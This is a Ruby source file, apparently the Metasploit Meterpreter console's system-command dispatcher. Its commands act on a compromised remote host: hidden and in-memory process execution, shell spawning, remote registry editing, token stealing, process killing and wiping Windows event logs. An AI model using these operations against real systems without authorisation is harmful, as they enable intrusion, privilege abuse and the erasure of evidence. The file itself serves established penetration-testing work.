# -*- coding: binary -*- require 'rex/post/meterpreter' module Rex module Post module Meterpreter module Ui ### # # The system level portion of the standard API extension. # ### class Console::CommandDispatcher::Stdapi::Sys Klass = Console::CommandDispatcher::Stdapi::Sys include Console::CommandDispatcher # # Options used by the 'execute' command. # @@execute_opts = Rex::Parser::Arguments.new( "-a" => [ true, "The arguments to pass to the command." ], "-c" => [ false, "Channelized I/O (required for interaction)." ], "-f" => [ true, "The executable command to run." ], "-h" => [ false, "Help menu." ], "-H" => [ false, "Create the process hidden from view." ], "-i" => [ false, "Interact with the process after creating it." ], "-m" => [ false, "Execute from memory." ], "-d" => [ true, "The 'dummy' executable to launch when using -m." ], "-t" => [ false, "Execute process with currently impersonated thread token"], "-k" => [ false, "Execute process on the meterpreters current desktop" ], "-s" => [ true, "Execute process in a given session as the session user" ]) # # Options used by the 'reboot' command. # @@reboot_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help menu." ], "-f" => [ true, "Force a reboot, valid values [1|2]" ]) # # Options used by the 'shutdown' command. # @@shutdown_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help menu." ], "-f" => [ true, "Force a shutdown, valid values [1|2]" ]) # # Options used by the 'reg' command. # @@reg_opts = Rex::Parser::Arguments.new( "-d" => [ true, "The data to store in the registry value." ], "-h" => [ false, "Help menu." ], "-k" => [ true, "The registry key path (E.g. HKLM\\Software\\Foo)." ], "-t" => [ true, "The registry value type (E.g. REG_SZ)." ], "-v" => [ true, "The registry value name (E.g. Stuff)." ], "-r" => [ true, "The remote machine name to connect to (with current process credentials" ], "-w" => [ false, "Set KEY_WOW64 flag, valid values [32|64]." ]) # # Options for the 'ps' command. # @@ps_opts = Rex::Parser::Arguments.new( "-S" => [ true, "String to search for (converts to regex)" ], "-h" => [ false, "Help menu." ], "-A" => [ true, "Filters processes on architecture (x86 or x86_64)" ], "-s" => [ false, "Show only SYSTEM processes" ], "-U" => [ true, "Filters processes on the user using the supplied RegEx" ]) # # Options for the 'suspend' command. # @@suspend_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help menu." ], "-c" => [ false, "Continues suspending or resuming even if an error is encountered"], "-r" => [ false, "Resumes the target processes instead of suspending" ]) # # List of supported commands. # def commands all = { "clearev" => "Clear the event log", "drop_token" => "Relinquishes any active impersonation token.", "execute" => "Execute a command", "getpid" => "Get the current process identifier", "getprivs" => "Attempt to enable all privileges available to the current process", "getuid" => "Get the user that the server is running as", "getsid" => "Get the SID of the user that the server is running as", "getenv" => "Get one or more environment variable values", "kill" => "Terminate a process", "ps" => "List running processes", "reboot" => "Reboots the remote computer", "reg" => "Modify and interact with the remote registry", "rev2self" => "Calls RevertToSelf() on the remote machine", "shell" => "Drop into a system command shell", "shutdown" => "Shuts down the remote computer", "steal_token" => "Attempts to steal an impersonation token from the target process", "suspend" => "Suspends or resumes a list of processes", "sysinfo" => "Gets information about the remote system, such as OS", } reqs = { "clearev" => [ "stdapi_sys_eventlog_open", "stdapi_sys_eventlog_clear" ], "drop_token" => [ "stdapi_sys_config_drop_token" ], "execute" => [ "stdapi_sys_process_execute" ], "getpid" => [ "stdapi_sys_process_getpid" ], "getprivs" => [ "stdapi_sys_config_getprivs" ], "getuid" => [ "stdapi_sys_config_getuid" ], "getsid" => [ "stdapi_sys_config_getsid" ], "getenv" => [ "stdapi_sys_config_getenv" ], "kill" => [ "stdapi_sys_process_kill" ], "ps" => [ "stdapi_sys_process_get_processes" ], "reboot" => [ "stdapi_sys_power_exitwindows" ], "reg" => [ "stdapi_registry_load_key", "stdapi_registry_unload_key", "stdapi_registry_open_key", "stdapi_registry_open_remote_key", "stdapi_registry_create_key", "stdapi_registry_delete_key", "stdapi_registry_close_key", "stdapi_registry_enum_key", "stdapi_registry_set_value", "stdapi_registry_query_value", "stdapi_registry_delete_value", "stdapi_registry_query_class", "stdapi_registry_enum_value", ], "rev2self" => [ "stdapi_sys_config_rev2self" ], "shell" => [ "stdapi_sys_process_execute" ], "shutdown" => [ "stdapi_sys_power_exitwindows" ], "steal_token" => [ "stdapi_sys_config_steal_token" ], "suspend" => [ "stdapi_sys_process_attach"], "sysinfo" => [ "stdapi_sys_config_sysinfo" ], } all.delete_if do |cmd, desc| del = false reqs[cmd].each do |req| next if client.commands.include? req del = true break end del end all end # # Name for this dispatcher. # def name "Stdapi: System" end # # Executes a command with some options. # def cmd_execute(*args) if (args.length == 0) args.unshift("-h") end session = nil interact = false desktop = false channelized = nil hidden = nil from_mem = false dummy_exec = "cmd" cmd_args = nil cmd_exec = nil use_thread_token = false @@execute_opts.parse(args) { |opt, idx, val| case opt when "-a" cmd_args = val when "-c" channelized = true when "-f" cmd_exec = val when "-H" hidden = true when "-m" from_mem = true when "-d" dummy_exec = val when "-k" desktop = true when "-h" print( "Usage: execute -f file [options]\n\n" + "Executes a command on the remote machine.\n" + @@execute_opts.usage) return true when "-i" channelized = true interact = true when "-t" use_thread_token = true when "-s" session = val.to_i end } # Did we at least get an executable? if (cmd_exec == nil) print_error("You must specify an executable file with -f") return true end # Execute it p = client.sys.process.execute(cmd_exec, cmd_args, 'Channelized' => channelized, 'Desktop' => desktop, 'Session' => session, 'Hidden' => hidden, 'InMemory' => (from_mem) ? dummy_exec : nil, 'UseThreadToken' => use_thread_token) print_line("Process #{p.pid} created.") print_line("Channel #{p.channel.cid} created.") if (p.channel) if (interact and p.channel) shell.interact_with_channel(p.channel) end end # # Drop into a system shell as specified by %COMSPEC% or # as appropriate for the host. def cmd_shell(*args) case client.platform when /win/ path = client.fs.file.expand_path("%COMSPEC%") path = (path and not path.empty?) ? path : "cmd.exe" # attempt the shell with thread impersonation begin cmd_execute("-f", path, "-c", "-H", "-i", "-t") rescue # if this fails, then we attempt without impersonation print_error( "Failed to spawn shell with thread impersonation. Retrying without it." ) cmd_execute("-f", path, "-c", "-H", "-i") end when /linux/ # Don't expand_path() this because it's literal anyway path = "/bin/sh" cmd_execute("-f", path, "-c", "-i") else # Then this is a multi-platform meterpreter (php or java), which # must special-case COMSPEC to return the system-specific shell. path = client.fs.file.expand_path("%COMSPEC%") # If that failed for whatever reason, guess it's unix path = (path and not path.empty?) ? path : "/bin/sh" cmd_execute("-f", path, "-c", "-i") end end # # Gets the process identifier that meterpreter is running in on the remote # machine. # def cmd_getpid(*args) print_line("Current pid: #{client.sys.process.getpid}") return true end # # Displays the user that the server is running as. # def cmd_getuid(*args) print_line("Server username: #{client.sys.config.getuid}") end # # Display the SID of the user that the server is running as. # def cmd_getsid(*args) print_line("Server SID: #{client.sys.config.getsid}") end # # Get the value of one or more environment variables from the target. # def cmd_getenv(*args) vars = client.sys.config.getenvs(*args) if vars.length == 0 print_error("None of the specified environment variables were found/set.") else table = Rex::Ui::Text::Table.new( 'Header' => 'Environment Variables', 'Indent' => 0, 'SortIndex' => 1, 'Columns' => [ 'Variable', 'Value' ] ) vars.each do |var, val| table << [ var, val ] end print_line print_line(table.to_s) end end # # Clears the event log # def cmd_clearev(*args) logs = ['Application', 'System', 'Security'] logs << args logs.flatten! logs.each do |name| log = client.sys.eventlog.open(name) print_status("Wiping #{log.length} records from #{name}...") log.clear end end # # Kills one or more processes. # def cmd_kill(*args) # give'em help if they want it, or seem confused if ( args.length == 0 or (args.length == 1 and args[0].strip == "-h") ) cmd_kill_help return true end self_destruct = args.include?("-s") if self_destruct valid_pids = [client.sys.process.getpid.to_i] else valid_pids = validate_pids(args) # validate all the proposed pids first so we can bail if one is bogus args.uniq! diff = args - valid_pids.map {|e| e.to_s} if not diff.empty? # then we had an invalid pid print_error("The following pids are not valid: #{diff.join(", ").to_s}. Quitting") return false end end # kill kill kill print_line("Killing: #{valid_pids.join(", ").to_s}") client.sys.process.kill(*(valid_pids.map { |x| x })) return true end # # help for the kill command # def cmd_kill_help print_line("Usage: kill [pid1 [pid2 [pid3 ...]]] [-s]") print_line("Terminate one or more processes.") print_line(" -s : Kills the pid associated with the current session.") end # # validates an array of pids against the running processes on target host # behavior can be controlled to allow/deny proces 0 and the session's process # the pids: # - are converted to integers # - have had pid 0 removed unless allow_pid_0 # - have had current session pid removed unless allow_session_pid (to protect the session) # - have redundant entries removed # # @param pids [Array] The pids to validate # @param allow_pid_0 [Boolean] whether to consider a pid of 0 as valid # @param allow_session_pid [Boolean] whether to consider a pid = the current session pid as valid # @return [Array] Returns an array of valid pids def validate_pids(pids, allow_pid_0 = false, allow_session_pid = false) return [] if (pids.class != Array or pids.empty?) valid_pids = [] # to minimize network traffic, we only get host processes once host_processes = client.sys.process.get_processes if host_processes.length < 1 print_error "No running processes found on the target host." return [] end # get the current session pid so we don't suspend it later mypid = client.sys.process.getpid.to_i # remove nils & redundant pids, conver to int clean_pids = pids.compact.uniq.map{|x| x.to_i} # now we look up the pids & remove bad stuff if nec clean_pids.delete_if do |p| ( (p == 0 and not allow_pid_0) or (p == mypid and not allow_session_pid) ) end clean_pids.each do |pid| # find the process with this pid theprocess = host_processes.find {|x| x["pid"] == pid} if ( theprocess.nil? ) next else valid_pids << pid end end return valid_pids end # # Lists running processes. # def cmd_ps(*args) if args.include?('-h') cmd_ps_help return true end # Init vars processes = client.sys.process.get_processes search_term = nil # Parse opts @@ps_opts.parse(args) { |opt, idx, val| case opt when '-S' search_term = val if search_term.nil? print_error("Enter a search term") return true end when "-A" print_line "Filtering on arch..." searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new processes.each do |proc| next if proc['arch'].nil? or proc['arch'].empty? if val.nil? or val.empty? or !(val == "x86" or val == "x86_64") print_line "You must select either x86 or x86_64" return false end searched_procs << proc if proc["arch"] == val end processes = searched_procs when "-s" print_line "Filtering on SYSTEM processes..." searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new processes.each do |proc| searched_procs << proc if proc["user"] == "NT AUTHORITY\\SYSTEM" end processes = searched_procs when "-U" print_line "Filtering on user name..." searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new processes.each do |proc| if val.nil? or val.empty? print_line "You must supply a search term!" return false end searched_procs << proc if proc["user"].match(/#{val}/) end processes = searched_procs end } if (processes.length == 0) print_line("No running processes were found.") else tbl = processes.to_table('SearchTerm' => search_term) print_line print_line(tbl.to_s) end return true end def cmd_ps_help print_line "Usage: ps [ options ]" print_line print_line "Use the command with no arguments to see all running processes." print_line "The following options can be used to filter those results:" print_line @@ps_opts.usage end # # Reboots the remote computer. # def cmd_reboot(*args) force = 0 if args.length == 1 and args[0].strip == "-h" print( "Usage: reboot [options]\n\n" + "Reboot the remote machine.\n" + @@reboot_opts.usage) return true end @@reboot_opts.parse(args) { |opt, idx, val| case opt when "-f" force = val.to_i end } print_line("Rebooting...") client.sys.power.reboot(force, SHTDN_REASON_DEFAULT) end # # Modifies and otherwise interacts with the registry on the remote computer # by allowing the client to enumerate, open, modify, and delete registry # keys and values. # def cmd_reg(*args) # Extract the command, if any cmd = args.shift if (args.length == 0) args.unshift("-h") end # Initiailze vars key = nil value = nil data = nil type = nil wowflag = 0x0000 rem = nil @@reg_opts.parse(args) { |opt, idx, val| case opt when "-h" print_line( "Usage: reg [command] [options]\n\n" + "Interact with the target machine's registry.\n" + @@reg_opts.usage + "COMMANDS:\n\n" + " enumkey Enumerate the supplied registry key [-k ]\n" + " createkey Create the supplied registry key [-k ]\n" + " deletekey Delete the supplied registry key [-k ]\n" + " queryclass Queries the class of the supplied key [-k ]\n" + " setval Set a registry value [-k -v -d ]\n" + " deleteval Delete the supplied registry value [-k -v ]\n" + " queryval Queries the data contents of a value [-k -v ]\n\n") return false when "-k" key = val when "-v" value = val when "-t" type = val when "-d" data = val when "-r" rem = val when "-w" if val == '64' wowflag = KEY_WOW64_64KEY elsif val == '32' wowflag = KEY_WOW64_32KEY end end } # All commands require a key. if (key == nil) print_error("You must specify a key path (-k)") return false end # Split the key into its parts root_key, base_key = client.sys.registry.splitkey(key) begin # Rock it case cmd when "enumkey" open_key = nil if not rem open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ + wowflag) else remote_key = client.sys.registry.open_remote_key(rem, root_key) if remote_key open_key = remote_key.open_key(base_key, KEY_READ + wowflag) end end print_line( "Enumerating: #{key}\n") keys = open_key.enum_key vals = open_key.enum_value if (keys.length > 0) print_line(" Keys (#{keys.length}):\n") keys.each { |subkey| print_line("\t#{subkey}") } print_line end if (vals.length > 0) print_line(" Values (#{vals.length}):\n") vals.each { |val| print_line("\t#{val.name}") } print_line end if (vals.length == 0 and keys.length == 0) print_line("No children.") end when "createkey" open_key = nil if not rem open_key = client.sys.registry.create_key(root_key, base_key, KEY_WRITE + wowflag) else remote_key = client.sys.registry.open_remote_key(rem, root_key) if remote_key open_key = remote_key.create_key(base_key, KEY_WRITE + wowflag) end end print_line("Successfully created key: #{key}") when "deletekey" open_key = nil if not rem open_key = client.sys.registry.open_key(root_key, nil, KEY_WRITE + wowflag) else remote_key = client.sys.registry.open_remote_key(rem, root_key) if remote_key open_key = remote_key.open_key(nil, KEY_WRITE + wowflag) end end open_key.delete_key(base_key) print_line("Successfully deleted key: #{key}") when "setval" if (value == nil or data == nil) print_error("You must specify both a value name and data (-v, -d).") return false end type = "REG_SZ" if (type == nil) open_key = nil if not rem open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE + wowflag) else remote_key = client.sys.registry.open_remote_key(rem, root_key) if remote_key open_key = remote_key.open_key(base_key, KEY_WRITE + wowflag) end end open_key.set_value(value, client.sys.registry.type2str(type), data) print_line("Successfully set #{value} of #{type}.") when "deleteval" if (value == nil) print_error("You must specify a value name (-v).") return false end open_key = nil if not rem open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE + wowflag) else remote_key = client.sys.registry.open_remote_key(rem, root_key) if remote_key open_key = remote_key.open_key(base_key, KEY_WRITE + wowflag) end end open_key.delete_value(value) print_line("Successfully deleted #{value}.") when "queryval" if (value == nil) print_error("You must specify a value name (-v).") return false end open_key = nil if not rem open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ + wowflag) else remote_key = client.sys.registry.open_remote_key(rem, root_key) if remote_key open_key = remote_key.open_key(base_key, KEY_READ + wowflag) end end v = open_key.query_value(value) print( "Key: #{key}\n" + "Name: #{v.name}\n" + "Type: #{v.type_to_s}\n" + "Data: #{v.data}\n") when "queryclass" open_key = nil if not rem open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ + wowflag) else remote_key = client.sys.registry.open_remote_key(rem, root_key) if remote_key open_key = remote_key.open_key(base_key, KEY_READ + wowflag) end end data = open_key.query_class print("Data: #{data}\n") else print_error("Invalid command supplied: #{cmd}") end ensure open_key.close if (open_key) end end # # Calls RevertToSelf() on the remote machine. # def cmd_rev2self(*args) client.sys.config.revert_to_self end def cmd_getprivs_help print_line "Usage: getprivs" print_line print_line "Attempt to enable all privileges, such as SeDebugPrivilege, available to the" print_line "current process. Note that this only enables existing privs and does not change" print_line "users or tokens." print_line print_line "See also: steal_token, getsystem" print_line end # # Obtains as many privileges as possible on the target machine. # def cmd_getprivs(*args) if args.include? "-h" cmd_getprivs_help end print_line("=" * 60) print_line("Enabled Process Privileges") print_line("=" * 60) client.sys.config.getprivs.each do |priv| print_line(" #{priv}") end print_line("") end # # Tries to steal the primary token from the target process. # def cmd_steal_token(*args) if(args.length != 1 or args[0] == "-h") print_error("Usage: steal_token [pid]") return end print_line("Stolen token with username: " + client.sys.config.steal_token(args[0])) end # # Drops any assumed token. # def cmd_drop_token(*args) print_line("Relinquished token, now running as: " + client.sys.config.drop_token()) end # # Displays information about the remote system. # def cmd_sysinfo(*args) info = client.sys.config.sysinfo width = "Meterpreter".length info.keys.each { |k| width = k.length if k.length > width and info[k] } info.each_pair do |key, value| print_line("#{key.ljust(width+1)}: #{value}") if value end print_line("#{"Meterpreter".ljust(width+1)}: #{client.platform}") return true end # # Shuts down the remote computer. # def cmd_shutdown(*args) force = 0 if args.length == 1 and args[0].strip == "-h" print( "Usage: shutdown [options]\n\n" + "Shutdown the remote machine.\n" + @@shutdown_opts.usage) return true end @@shutdown_opts.parse(args) { |opt, idx, val| case opt when "-f" force = val.to_i end } print_line("Shutting down...") client.sys.power.shutdown(force, SHTDN_REASON_DEFAULT) end # # Suspends or resumes a list of one or more pids # # +args+ can optionally be -c to continue on error or -r to resume # instead of suspend, followed by a list of one or more valid pids # # @todo Accept process names, much of that code is done (kernelsmith) # # @param args [Array] List of one of more pids # @return [Boolean] Returns true if command was successful, else false def cmd_suspend(*args) # give'em help if they want it, or seem confused if args.length == 0 or (args.include? "-h") cmd_suspend_help return true end continue = args.delete("-c") || false resume = args.delete("-r") || false # validate all the proposed pids first so we can bail if one is bogus valid_pids = validate_pids(args) args.uniq! diff = args - valid_pids.map {|e| e.to_s} if not diff.empty? # then we had an invalid pid print_error("The following pids are not valid: #{diff.join(", ").to_s}.") if continue print_status("Continuing. Invalid args have been removed from the list.") else print_error("Quitting. Use -c to continue using only the valid pids.") return false end end targetprocess = nil if resume print_status("Resuming: #{valid_pids.join(", ").to_s}") else print_status("Suspending: #{valid_pids.join(", ").to_s}") end begin valid_pids.each do |pid| print_status("Targeting process with PID #{pid}...") targetprocess = client.sys.process.open(pid, PROCESS_ALL_ACCESS) targetprocess.thread.each_thread do |x| if resume targetprocess.thread.open(x).resume else targetprocess.thread.open(x).suspend end end end rescue ::Rex::Post::Meterpreter::RequestError => e print_error "Error acting on the process: #{e.to_s}." print_error "Try migrating to a process with the same owner as the target process." print_error "Also consider running the win_privs post module and confirm SeDebug priv." return false unless continue ensure targetprocess.close if targetprocess end return true end # # help for the suspend command # def cmd_suspend_help print_line("Usage: suspend [options] pid1 pid2 pid3 ...") print_line("Suspend one or more processes.") print @@suspend_opts.usage end end end end end end